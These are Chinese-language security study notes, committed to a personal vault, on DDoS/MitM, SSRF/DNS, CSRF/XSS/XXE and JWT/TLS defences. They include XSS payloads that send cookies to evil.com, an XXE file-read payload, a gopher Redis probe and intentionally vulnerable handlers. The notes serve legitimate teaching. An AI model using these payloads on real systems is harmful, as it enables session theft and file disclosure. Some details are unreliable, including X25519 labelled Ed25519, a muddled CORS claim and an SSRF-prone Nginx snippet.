vault backup: 2026-05-17 22:27:07

This commit is contained in:
hhs
2026-05-17 22:27:07 +08:00
parent 64e34e6871
commit bbea71f62b
45 changed files with 8983 additions and 0 deletions
@@ -0,0 +1,154 @@
---
tags: [计算机网络, DDoS, SYN Flood, HTTP Flood, MitM, ARP spoofing, DNS劫持]
create time: 2026-05-18 04:55
---
# DDoS 与中间人攻击(MitM)防御
## 概述
网络攻击的防护是 Defense in Depth——每一层都有自己的攻击面和对应的缓解措施。本章覆盖最常见的 L3/L4 DDoS、MitM(ARP/DNS 欺骗)、以及 DNS 劫持的技术原理和 Linux/运维层面的防御手段。
## DDoS(分布式拒绝服务)
### 各层攻击矩阵
```mermaid
flowchart TD
subgraph "L3/L4 流量型攻击"
S["SYN Flood<br/>伪造源 IP 发大量 SYN"]
U["UDP Flood<br/>海量 UDP 包淹没带宽"]
I["ICMP Flood<br/>ping of death"]
A["Amplification<br/>DNS/NTP amplification (>100x)"]
end
subgraph "L7 应用层攻击"
H["HTTP Flood<br/>模拟正常请求压垮应用"]
SL["Slowloris<br/>半开连接占满线程池"]
RA["Resource Exhaustion<br/>解析超大 JSON/图片"]
end
style S fill:#FFD700,color:#000
style H fill:#FF6B6B,color:#fff
```
### L3/L4 DDoS 防御
| 攻击类型 | 原理 | 防御手段 |
|---------|------|---------|
| **SYN Flood** | 伪造源 IP 发送大量 SYN,耗尽半连接队列 | SYN Cookie, rate limit, 增大 tcp_max_syn_backlog |
| **UDP Flood** | 海量 UDP 包吞没出口带宽 | upstream filtering, CDN 清洗 |
| **ICMP Flood** | ping 风暴 | firewall rule, icmp_ratelimit |
| **NTP Amplification** | 利用 open resolver 做放大反射 | BCP38 Source Guard |
```bash
# Linux 内置防御命令
$ sysctl net.ipv4.tcp_syncookies=1 # SYN Cookie: 内核自动处理 SYN Flood
$ sysctl net.ipv4.tcp_max_syn_backlog=8192 # 增大 SYN 半连接队列
$ sysctl net.ipv4.icmp_echo_ignore_all=1 # 极端:完全忽略所有 ping(不推荐)
$ sysctl net.ipv4.icmp_ratelimit=1000 # 每秒最多处理 1000 个 ICMP 包
# iptables 限速规则
sudo iptables -A INPUT -p tcp --syn -m limit --limit 100/s --limit-burst 200 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP # 超过阈值丢包
# fail2ban —— 基于日志的动态封禁
# /etc/fail2ban/jail.local
[sshd]
enabled = true
maxretry = 3
bantime = 3600
findtime = 60
```
### L7 DDoS 防御
```
┌─────────────────────────────────────────────────┐
│ L7 攻击无法在单台服务器上有效防御 │
│ │
│ ✅ CDN (Cloudflare/AWS CloudFront) 清洗 │
│ ✅ WAF (Web Application Firewall) 拦截异常请求 │
│ ✅ Rate Limiting (API 限流, Redis + Lua) │
│ ✅ CAPTCHA 人机验证 │
│ ✅ 连接超时 (Go http.Server IdleTimeout) │
│ │
│ ❌ 自己写代码挡不住百万 QPS 的 HTTP Flood │
└─────────────────────────────────────────────────┘
```
> [!tip] Slowloris 的原理与 Go 的免疫方式
>
> Slowloris 发起成千上万的 HTTP 连接,每个只发送部分请求头并保持活着——永远不发完整的 `\r\n\r\n`。这会让服务器的连接池被占满。
>
> **Go 天然免疫**:`http.Server.ReadHeaderTimeout` 会在超时后自动关闭未完成请求头的连接。这是 Go 高并发安全的一大优势。
## MITM(中间人攻击)
### ARP 欺骗实现 MITM
```mermaid
sequenceDiagram
participant C as 受害者主机<br/>192.168.1.100
participant A as 攻击者<br/>192.168.1.200
participant R as 真实网关<br/>192.168.1.1
C->>R: ARP: "Who has 192.168.1.1?"
R-->>C: "I am 192.168.1.1, MAC=aa:bb:cc"
A->>C: Gratuitous ARP: "192.168.1.1 is ME aa:dd:ee!" ⚡
Note over C: C 更新了 ARP 缓存 → 把网关 MAC 指向攻击者!
C->>A: 所有流量 → 攻击者的网卡 (二层交换)
A->>R: 转发流量到真实网关 (ip_forward=1)
R-->>A: 响应回传
A-->>C: 解密/篡改后再转发给 C
Note over C,A,R: C 和 R 都以为在和对方通信 🚨
```
**ARP 欺骗的检测与防御:**
```bash
# 检测 ARP Spoofing
arp -a # 查看本地 ARP 缓存表
watch -n 1 'arp -n | grep 192.168.1' # 实时监控 ARP 条目变化
# 静态绑定(适用于服务器)
arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff # 手动固定网关 MAC
# 写入 /etc/network/interfaces 持久化
# arpon/arpoison 工具检测
arping -I eth0 -c 3 192.168.1.1 # 主动探测是否有重复响应
```
### DNS 欺骗与污染
```
正常流程: DNS 污染:
client → recursive DNS ─→ A record → 正确 IP client → malicious DNS ─→ wrong IP (跳转至攻击者)
↑ ↑
Cloudflare/Google DNS ISP/路由器被劫持
```
```bash
# 检测 DNS 污染的对比方法
$ dig example.com @8.8.8.8 # Google DNS —— 干净的参考结果
$ dig example.com @1.1.1.1 # Cloudflare DNS —— 交叉验证
$ dig example.com @local_dns # 本地 DNS —— 可能被污染
# 使用 DoH 防止 DNS 劫持
$ curl https://dns.google/resolve?name=example.com&type=A \
-H 'accept: application/dns-json'
{"Status":0,"Answer":[{"name":"example.com","type":5,...}]}
# 使用 doh-proxy 或 cloudflared 为系统级别启用 DoH
sudo systemctl enable --now cloudflared-dns-proxy
```
## 关联笔记
- [[hhs/NETWORK/TLS安全实践]] — TLS/HSTS/OCSP Stapling 是 MitM 的核心防线
- [[hhs/NETWORK/HTTPS与TLS握手]] — 证书链验证如何抵抗 MitM
- [[hhs/NETWORK/Web应用攻击面]] — L7 攻击面的补充(CSRF/XSS/XXE)
- [[hhs/NETWORK/IPv6地址与扩展头部]] — ND(Neighbor Discovery)替代 ARP,同样有安全风险
@@ -0,0 +1,217 @@
---
tags: [计算机网络, SSRF, DNS安全, DNSSEC, DoH, NAT穿透]
create time: 2026-05-18 05:00
---
# SSRF 与 DNS 安全
## 概述
SSRF(服务端请求伪造)是近年来增长最快的 Web 漏洞之一,它利用的是"服务器代替用户发起请求"的能力。DNS 层面则有从传统查询到 DoH/DoT 的安全演进。
## SSRF(Server-Side Request Forgery)
### 什么是 SSRF?
当应用程序接受一个 URL 作为输入,并在服务端向该 URL 发起请求时,攻击者可以构造特殊 URL 让服务器访问**内部资源**(内网 API、元数据服务、数据库端口等)。
### 典型攻击场景
```go
// ❌ 危险代码:用户控制 URL,服务器代替用户发起请求
func fetchImageHandler(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url") // 用户可传入内网地址!
resp, err := http.Get(url) // GET http://169.254.169.254/latest/meta-data/
if err != nil {
http.Error(w, err.Error(), 500)
return
}
defer resp.Body.Close()
io.Copy(w, resp.Body)
// AWS EC2 返回: access_key, secret_key, role... 💀
}
```
### SSRF 常见探测目标
```
目标 说明 危害
────────────────────── ─────────────────────── ────────────────────
169.254.169.254 AWS/Azure/GCP 元数据 获取云实例凭证
10.0.0.x / 172.16.x.x 内网扫描 发现内网服务
file:///etc/passwd 文件读取协议 读取服务器敏感文件
gopher:// / dict:// Gopher/Dict 协议 利用回显放大攻击
docker.sock Docker Socket 远程执行容器命令
localhost:6379 Redis/Memcached 内网渗透跳板
```
### 安全的 SSRF 防御方案
```go
package main
import (
"errors"
"net"
"net/http"
"net/url"
"time"
)
var safeClient = &http.Client{
Timeout: 10 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return errors.New("no redirect") // 禁止重定向!攻击者可以用 302 绕校验
},
}
// SafeFetch 安全地从一个 URL 获取内容
func SafeFetch(urlStr string) ([]byte, error) {
parsed, err := url.Parse(urlStr)
if err != nil {
return nil, err
}
// 第一步:解析域名,拿到 IP
ips, err := net.LookupIP(parsed.Host)
if err != nil {
return nil, err
}
// 第二步:检查所有可能的 IP(IPv4 + IPv6)
for _, ip := range ips {
if isUnsafeIP(ip) {
return nil, errors.New("unsafe IP blocked: " + ip.String())
}
}
// 第三步:额外检查 Host 字段(防止 DNS rebinding 攻击)
if hostIP := net.ParseIP(parsed.Host); hostIP != nil {
if isUnsafeIP(hostIP) {
return nil, errors.New("host IP unsafe: " + hostIP.String())
}
}
resp, err := safeClient.Get(urlStr)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return body, nil
}
func isUnsafeIP(ip net.IP) bool {
if ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() || ip.IsUnspecified() {
return true
}
// 额外检查:云元数据地址段
if ip.Equal(net.ParseIP("169.254.169.254")) {
return true
}
return false
}
```
```go
// Nginx 层面的 SSRF 防御(反向代理入口)
location /api/fetch {
# 禁止直接访问内网
internal; # 只允许内部 rewrite 访问
proxy_pass $arg_url;
proxy_hide_header Access-Control-Allow-Origin;
}
```
> [!warning] DNS Rebinding 攻击
>
> 即使你检查了初始 IP,攻击者仍可以将 DNS TTL 设为极小值(如 0 秒),让你的代码先校验合法 IP,然后在第二次请求时 DNS 已返回内网 IP。
> **应对策略**:在整个请求生命周期中持续校验;使用白名单域名而非黑名单 IP;禁用重定向。
## DNS 安全
### DNSSEC —— 给 DNS 加上数字签名
```
传统 DNS(明文无签名): DNSSEC(带签名验证):
Resolver → authoritative → answer Resolver → authoritative → answer + SIG
Resolver 用 DNSKEY 验证签名 ✅
如果签名不对 → 返回 SERVFAIL ❌
```
```bash
# 检查某域名的 DNSSEC 状态
$ dig +dnssec example.com
;; flags: ad; AD 表示 Answer data verified by DNSSEC ✅
# 本地递归解析器配置(bind / unbound)
# /etc/bind/named.conf
dnssec-validation auto; # bind 自动下载根密钥
```
### DoH / DoT / DoQ —— 加密 DNS 查询
| 协议 | 载体 | 端口 | 特点 |
|------|------|------|------|
| **DNS over TLS (DoT)** | TCP + TLS | 853 | RFC 7858, 传输层加密 |
| **DNS over HTTPS (DoH)** | HTTP/2 + TLS | 443 | RFC 8484, 伪装成 HTTPS 流量 |
| **DNS over QUIC (DoQ)** | QUIC | 853 | 最新标准, 低延迟 + 抗干扰 |
```bash
# curl 测试 DoH
$ curl -v https://dns.google/resolve?name=example.com&type=A \
-H 'accept: application/dns-json'
* TLS 1.3 connection using TLS_AES_256_GCM_SHA384
* DNS query goes over encrypted HTTPS channel ✅
# unbound 配置 DoT 递归
# /etc/unbound/unbound.conf.d/doth-forwarders.conf
forward-zone:
name: "."
forward-ssl-upstream: yes
forward-addr: 1.1.1.1@853 # Cloudflare DoT
forward-addr: 8.8.8.8@853 # Google DoT
```
### DHCP 安全注意事项
```
DHCP DORA 四步本身是无认证的:
Discover → Offer → Request → Acknowledge
风险:
• Rogue DHCP Server:恶意 DHCP 分配错误的网关/DNS
• DHCP Starvation:耗尽 DHCP 地址池
防御:
• Switch 端口安全:DHCP Snooping
• 802.1X 认证:未认证的端口不参与 DHCP
• 静态绑定:关键设备用 static IP + DHCP Reservation
```
## NAT 穿透技术补充
```mermaid
flowchart TD
STUN["STUN<br/>穿越 NAT 发现自己对外暴露的地址/port"] --> ICE
TURN["TURN<br/>中继服务器转发流量<br/>兜底方案"] --> ICE
ICE["ICE 框架<br/>按优先级尝试: direct → STUN → TURN"] --> SUCCESS["✅ 建立 P2P 连接"]
style STUN fill:#98FB98,color:#000
style TURN fill:#FFD700,color:#000
style SUCCESS fill:#DDA0DD,color:#000
```
- **STUN**:客户端向 STUN 服务器发请求,拿到自己的公网 IP:Port。但对称型 NAT 下 STUN 失效。
- **TURN**:所有流量经中继服务器中转,兼容性最好但延迟最高。
- **ICE**:WebRTC 的标准框架,同时收集候选地址并按连通性排序。
## 关联笔记
- [[hhs/NETWORK/NAT原理与应用]] — NAT 穿透技术(STUN/TURN/ICE)的详细原理
- [[hhs/NETWORK/DNS与DHCP与WebSocket]] — DNS 递归查询与 DoH/DoT 的完整实现
- [[hhs/NETWORK/04-寻址体系MAC-IPTPort]] — 私有 IP 地址范围用于 SSRF 校验判断
@@ -0,0 +1,208 @@
---
tags: [计算机网络, CSRF, XSS, XXE, CORS, Web安全]
create time: 2026-05-18 05:05
---
# Web 应用攻击面:CSRF / XSS / XXE
## 概述
L7(应用层)攻击是黑客最常利用的层面。CSRF、XSS、XXE 三个名字相似但原理迥异,理解它们的区别和对应的防御手段是每个后端开发者的必修课。
## CSRF vs XSS vs XXE —— 三巨头对比
```mermaid
flowchart LR
subgraph "CSRF: 借用户的身份做操作"
direction TB
C1["用户已登录银行网站"] --> C2["访问恶意页面<br/>包含 <img src='bank.com/transfer'>"]
C2 --> C3["浏览器自动带上 cookie → 转账成功"]
end
subgraph "XSS: 在用户浏览器执行脚本"
direction TB
X1["网站注入恶意 JS"] --> X2["其他用户打开含攻击页面的链接"]
X2 --> X3["脚本在受害者上下文中执行 → 窃取 cookie"]
end
style C1 fill:#DDA0DD,color:#000
style X1 fill:#FFD700,color:#000
```
### 详细对比表
| 特性 | CSRF | XSS (Reflected) | XSS (Stored) | XXE |
|------|------|-----------------|--------------|-----|
| **全名** | Cross-Site Request Forgery | Cross-Site Scripting | Stored/Persistent XSS | XML External Entity |
| **攻击目标** | 服务器操作 | 客户端浏览器 | 客户端浏览器 | 服务器文件系统/内网 |
| **核心漏洞** | 服务端没验证请求来源 | 输入未过滤直接输出到页面 | 持久化存储了恶意内容 | XML 解析器处理了外部实体 |
| **用户需操作** | 只需打开恶意页面 | 只需点击带payload链接 | 完全被动 | 无需用户参与 |
| **防御方式** | SameSite Cookie, CSRF Token, Referer 检查 | CSP, 输入编码, HTTPOnly Cookie | 同上 + 富文本 sanitizer | 禁用 DTD/外部实体 |
| **危害等级** | 高(能代用户操作) | 中高(能盗取会话) | 最高(持久传播) | 极高(RCE/文件读取) |
| **OWASP排名** | #9 | #3 | #3 | N/A |
### CSRF 详解
```
攻击流程:
─────────────────────────────────────
1. 用户在 bank.com 已登录(cookie 有效中)
2. 用户访问 evil.com
3. evil.com 包含:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker_account"/>
<input name="amount" value="10000"/>
<input type="submit" value="领取奖励!"/>
</form>
4. 用户点击提交 → 浏览器自动携带 bank.com 的 cookie
5. bank.com 以为是合法操作 → 转账成功 💸
```
```go
// ❌ 没有 CSRF 保护的 Go handler
func TransferHandler(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
to := r.FormValue("to")
amount := r.FormValue("amount")
// ⚠️ 没有验证请求来源!任何网站都能伪造 POST 请求
transferMoney(to, amount)
}
}
// ✅ 方案一:CSRF Token
type CSRFStore struct {
tokens sync.Map // token → userID + expiry
}
func GenerateCSRFToken(userID string) (string, error) {
tokenBytes := make([]byte, 32)
rand.Read(tokenBytes)
token := base64.URLEncoding.EncodeToString(tokenBytes)
store.tokens.Store(token, userID)
go func() {
time.Sleep(24 * time.Hour)
store.tokens.Delete(token) // token 过期清理
}()
return token, nil
}
// ✅ 方案二:SameSite Cookie(现代浏览器原生支持)
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionID,
Path: "/",
HttpOnly: true, // JS 无法读取
SameSite: http.SameSiteStrictMode, // ← 关键!禁止跨站携带
})
```
```nginx
# Nginx 层面的 CSRF 防御
location /api {
# 校验 Referer(可被浏览器插件或旧浏览器绕过,仅作第二道防线)
if ($http_referer !~* ^https://(www\.)?yourdomain\.com) {
return 403;
}
proxy_pass http://backend;
}
```
### XSS 详解
```
反射型 XSS 流程:
───────────────────────
1. 攻击者构造恶意 URL:
https://site.com/search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
2. 受害者点击该 URL
3. 服务器把 q 参数原样放回 HTML 响应中
4. 浏览器执行脚本 → cookie 被盗 🚨
存储型 XSS 流程:
───────────────────────
1. 攻击者在评论区发帖: <script src=http://evil.com/xss.js></script>
2. 帖子被存入数据库
3. 所有浏览此页面的用户都会执行恶意脚本
4. 比反射型 XSS 危害大 10 倍(一次注入,无限受害)
```
```go
// ✅ Go 的 html/template 自动转义,是最强的 XSS 防御
import "html/template"
tmpl, _ := template.New("search").Parse(`
<h1>Search results for: {{.Query}}</h1>
<!-- .Query 会被自动 HTML-escape → <script → &lt;script&gt; -->
`)
// tmpl.Execute(w, data) → 输出中的特殊字符已被转义
```
```bash
# CSP (Content Security Policy) 头 — XSS 的第二道防线
# 即使 XSS payload 被执行了,CSP 也能阻止它加载外部资源
HTTP/1.1
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'
# default-src 'self' → 只允许同源资源
# script-src 'self' ... → 禁止内联 script 和外部未知域
```
### XXE 详解
```xml
<!-- 正常 XML -->
<?xml version="1.0"?>
<user>
<name>Alice</name>
<email>alice@example.com</email>
</user>
<!-- XXE 攻击 payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name> <!-- 服务器返回 /etc/passwd 的内容 -->
</user>
<!-- 更危险的版本:SSRF 式内网扫描 -->
<!ENTITY attack SYSTEM "gopher://10.0.0.1:6379/_INFO">
<!-- Redis INFO 命令返回值被写入响应 -->
```
```go
// ✅ Go 的 encoding/xml 默认禁用外部实体,相对安全
// 但仍需注意 SAX parser 等第三方库的安全配置
// Java 中需要明确关闭 XXE
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setExpandEntityReferences(false);
```
## CORS vs CSRF —— 经常被混淆的两个概念
```
CORS (Cross-Origin Resource Sharing):
──────────────────────────────────────
• 浏览器的安全策略,防止网页加载跨域资源
• 由浏览器自动执行,服务器通过响应头配合
• Access-Control-Allow-Origin: https://trusted.com
CSRF (Cross-Site Request Forgery):
────────────────────────────────────
• 攻击者利用已登录用户的凭证伪造请求
• 与 CORS 无关!CORS 不防 CSRF
• 防御用 SameSite Cookie + CSRF Token
```
> [!important] 核心结论
> CORS 不是 CSRF 的替代品。即使一个站点禁用了 CORS(`Access-Control-Allow-Origin: *`),依然会受到 CSRF 攻击。两者保护的是不同层面的安全问题。
## 关联笔记
- [[hhs/NETWORK/DDoS与MITM防御]] — L3/L4 攻击面的补充
- [[hhs/NETWORK/JWT认证与授权安全]] — JWT 也是攻击重灾区
- [[hhs/NETWORK/TLS安全实践]] — HSTS 是防范协议降级攻击的基础
@@ -0,0 +1,319 @@
---
tags: [计算机网络, JWT, OAuth2, OIDC, mTLS, TLS安全, CipherSuite, OCSP]
create time: 2026-05-18 05:10
---
# JWT 认证与 TLS 安全实践
## 概述
本章覆盖两个关键领域:Web API 最常用的认证机制 JWT 的安全性陷阱,以及 HTTPS/TLS 在生产环境中的正确配置方式。这两者是保护 API 安全的左右手。
## JWT 安全深度剖析
### JWT 结构回顾
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. ← Header (base64url)
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9. ← Payload (base64url)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature (HMACSHA256)
```
```json
// Header
{"alg":"HS256","typ":"JWT"}
// Payload
{"sub":"1234567890","name":"John","iat":1516239022,"exp":1516242622}
```
### JWT 六大常见漏洞
| # | 漏洞 | 攻击手法 | 修复方案 |
|---|------|---------|---------|
| 1 | **alg: none** | 篡改 header 为 `{"alg":"none"}`, 签名变为空字符串即可通过验证 | 服务端严格白名单验签算法 |
| 2 | **无 exp 字段** | Token 永远有效,一旦泄露无法撤销 | 设置合理的 TTL(通常 ≤ 1h)+ refresh token |
| 3 | **弱密钥** | HS256 用短/简单密钥可暴力破解 | 使用 ≥ 32 字节的随机密钥,或改用 RS256/ES256 |
| 4 | **密钥复用** | 多个服务用同一个 secretKey | 每个服务独立密钥,或使用 JWK Set 动态获取公钥 |
| 5 | **时钟偏差** | 服务器时间不同步导致 exp 判断异常 | NTP 同步 + leeway 容忍窗口 |
| 6 | **敏感数据明文** | base64 ≠ 加密,payload 中放了密码/身份证 | payload 只能放非敏感声明 (standard claims) |
### 安全的 JWT 实现
```go
import (
"github.com/golang-jwt/jwt/v5"
"crypto/rand"
"time"
)
// 生成足够强度的密钥(至少 32 bytes)
func generateSecretKey() []byte {
key := make([]byte, 32)
rand.Read(key)
return key
}
// ✅ 安全的 JWT 签发
const jwtExpiry = 15 * time.Minute // access token 有效期短
func GenerateJWT(userID string) (string, error) {
claims := jwt.MapClaims{
"sub": userID, // subject: 用户 ID
"iat": time.Now().Unix(), // issued at
"exp": time.Now().Add(jwtExpiry).Unix(), // ⚠️ 必须有 exp!
"nbf": time.Now().Unix(), // not before (防止提前使用)
"jti": randomUUID(), // JWT ID: 唯一标识,用于黑名单撤销
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(secretKey)
}
// ✅ 安全的 JWT 验证
func VerifyJWT(tokenStr string) (*jwt.Token, error) {
token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
// 1. 强制校验算法(防止 alg: none 攻击)
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return secretKey, nil
})
if err != nil || !token.Valid {
return nil, fmt.Errorf("invalid token")
}
// 2. 提取并检查标准声明
claims, ok := token.Claims.(jwt.MapClaims)
if !ok {
return nil, fmt.Errorf("invalid claims format")
}
// 3. 检查 jti 是否在黑名单中(手动撤销场景)
jti, _ := claims["jti"].(string)
if blacklist.Check(jti) {
return nil, fmt.Errorf("token revoked")
}
return token, nil
}
```
### Refresh Token 模式
```
access token: 有效期 15 分钟,用于每次 API 请求
refresh token: 有效期 7 天,用于换取新的 access token
───────────────────────────────────────────────────
┌─────────────┐ ┌──────────────┐
│ Client │ │ Auth Server │
└──────┬──────┘ └──────┬───────┘
│ │
│ 1. Login → access + refresh │
│─────────────────────────────────→│
│ │
│ 2. API request with access token │
│─────────────────────────────────→│
│ (15min later...) │
│ │
│ 3. access expired → 401 │
│←─────────────────────────────────│
│ │
│ 4. exchange refresh for new │
│─────────────────────────────────→│
│ new access token │
│←─────────────────────────────────│
│ │
│ 5. Continue with new access token│
│─────────────────────────────────→│
```
```go
// Go 中间件: 拦截 401 并自动刷新
func authMiddleware(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
token := extractBearerToken(r)
claims, err := VerifyJWT(token)
if err != nil {
// token 无效 → 尝试用 refresh token 换新 token
rt := extractRefreshToken(r)
newAccessToken, err := RefreshAccessToken(rt)
if err != nil {
http.Error(w, "unauthorized", 401)
return
}
r.Header.Set("Authorization", "Bearer "+newAccessToken)
}
next(w, r)
}
}
```
## OAuth 2.0 vs OpenID Connect (OIDC)
| 协议 | 定位 | 典型场景 | 返回内容 |
|------|------|---------|---------|
| **OAuth 2.0** | Authorization Framework | 第三方代用户操作(微信登录、GitHub 授权) | access_token(有时有 refresh_token)|
| **OIDC** | Authentication Overlay on OAuth 2.0 | 身份验证(确认"你是谁") | id_token (JWT) + user info |
```go
// OAuth 2.0 Authorization Code Flow 简化版
func oauthLoginHandler(w http.ResponseWriter, r *http.Request) {
state := randomState()
url := fmt.Sprintf(
"https://github.com/login/oauth/authorize?client_id=%s&redirect_uri=%s&state=%s",
clientID, redirectURI, state,
)
http.Redirect(w, r, url, http.StatusFound)
}
func oauthCallbackHandler(w http.ResponseWriter, r *http.Request) {
// 1. 验证 state 防 CSRF
// 2. code exchange → access_token
token, _ := client.Exchange(ctx, r.URL.Query().Get("code"))
// 3. use token to fetch user info
user, _ := client.UserInfos.Get(token)
}
```
## TLS 安全最佳实践
### TLS 版本与 Cipher Suite 选择
```go
import "crypto/tls"
// ✅ Go 中生产环境 TLS 配置
tlsConfig := &tls.Config{
MinVersion: tls.VersionTLS12, // 最低 TLS 1.2(TLS 1.3 优先)
MaxVersion: tls.VersionTLS13, // 限制在 1.3(更安全、更快)
// 首选 Elliptic Curve
CurvePreferences: []tls.CurveID{
tls.X25519, // 首选 Ed25519 曲线(最快最安全)
tls.CurveP256, // NIST P-256(广泛兼容)
},
// ALPN 协商(告诉客户端用什么应用层协议)
NextProtos: []string{"h2", "http/1.1"},
// 服务器优先选择 cipher suite
PreferServerCipherSuites: true,
// RC4 必须禁用(已知弱点)
// Go 1.15+ 已移除所有 RC4 cipher suite
}
```
### 推荐与禁用的 Cipher Suite 速查
```
✅ 推荐使用 (TLS 1.3):
├── TLS_AES_256_GCM_SHA384 (首选)
├── TLS_CHACHA20_POLY1305_SHA256 (移动端友好)
└── TLS_AES_128_GCM_SHA256 (备选)
⚠️ 勉强可用 (TLS 1.2):
├── ECDHE-RSA-AES256-GCM-SHA384
├── ECDHE-RSA-CHACHA20-POLY1305
└── ECDHE-ECDSA-... (如果用的是 EC 证书)
❌ 必须禁用:
├── RSA 密钥交换 (无前向保密 PFS)
├── CBC 模式 (BEAST/Sweet32 攻击)
├── SHA-1 哈希 (碰撞攻击)
├── RC4 (严重泄漏漏洞)
├── 3DES (Sweet32)
└── 出口级加密 (export ciphers)
```
### OCSP Stapling —— 证书吊销检查的优化
```
传统 OCSP (慢 + 隐私泄露): OCSP Stapling (快 + 隐私保护):
Browser → CA: Is cert valid? Server → CA: Fetch status + sign
CA → Browser: Valid/Invalid Server caches stapled response
Server → Browser: cert + stale Server sends: cert + signed assertion
checking happens in browser Browser validates CA-signed assertion
directly from server
问题: 优势:
• 每次都要连 CA • 无需浏览器直连 CA
• 暴露浏览习惯给 CA • 速度快 (缓存有效期内无需额外查询)
• 有些 CA 响应慢 • 隐私好 (服务器知道你在访问谁)
```
```nginx
# Nginx 启用 OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
resolver 8.8.8.8 8.8.4.4 valid=300s;
resolver_timeout 5s;
# 确保完整的证书链(包括 intermediate CA)
ssl_trusted_certificate /etc/ssl/certs/fullchain.pem;
```
### HSTS —— 强制 HTTPS
```bash
# 告诉浏览器"此后只能用 HTTPS"
$ curl -I https://example.com
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# 参数解读:
# max-age=31536000 → 一年内所有请求自动转 HTTPS(60 天起步,建议一年)
# includeSubDomains → 子域也适用
# preload → 提交到浏览器预加载列表
```
```bash
# 提交到 HSTS Preload List
$ curl https://hstspreload.org/api/v2/domain/example.com
# 检查状态: pending / preloaded / opt-out
# Chrome/HSTS Preload 内置列表 ≈ 50000+ 域名
# 一旦被 preload,即使第一次访问也不会发 HTTP 请求!
```
## mTLS(双向 TLS 认证)
```mermaid
sequenceDiagram
participant C as Client<br/>(持客户端证书)
participant S as Server<br/>(持服务端证书)
C->>S: ClientHello + Client Certificate
S->>C: ServerHello + Server Certificate
Note over S,C: 双方互相验证书!
S->>S: 验证客户端证书 CN/ SAN
C->>C: 验证服务端证书 (常规)
alt 双方证书都有效
Note over S,C: ✅ 建立 mTLS 连接
else 客户端证书无效/过期
S-->>C: Alert: bad_certificate 🔴
end
```
```bash
# 生成客户端证书
openssl req -newkey rsa:2048 -nodes -keyout client.key -out client.csr -subj "/CN=user1"
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
-out client.crt -days 365 -extfile client.ext
# Nginx 启用 mTLS
ssl_certificate /etc/ssl/server.crt;
ssl_certificate_key /etc/ssl/server.key;
ssl_client_certificate /etc/ssl/ca.crt; # CA 根证书
ssl_verify_client on; # on / optional / off
```
## 关联笔记
- [[hhs/NETWORK/TLS安全实践]] — OCSP Stapling / HSTS / Cipher Suite 的详细展开
- [[hhs/NETWORK/DdoS与MITM防御]] — DDoS MitM 的互补安全知识
- [[hhs/NETWORK/Web应用攻击面]] — CSRF/XSS/XXE 的 Web 应用防护
- [[hhs/OAuth2/01-OAuth2基础]] — OAuth 2.0 的完整流程详解(如已创建)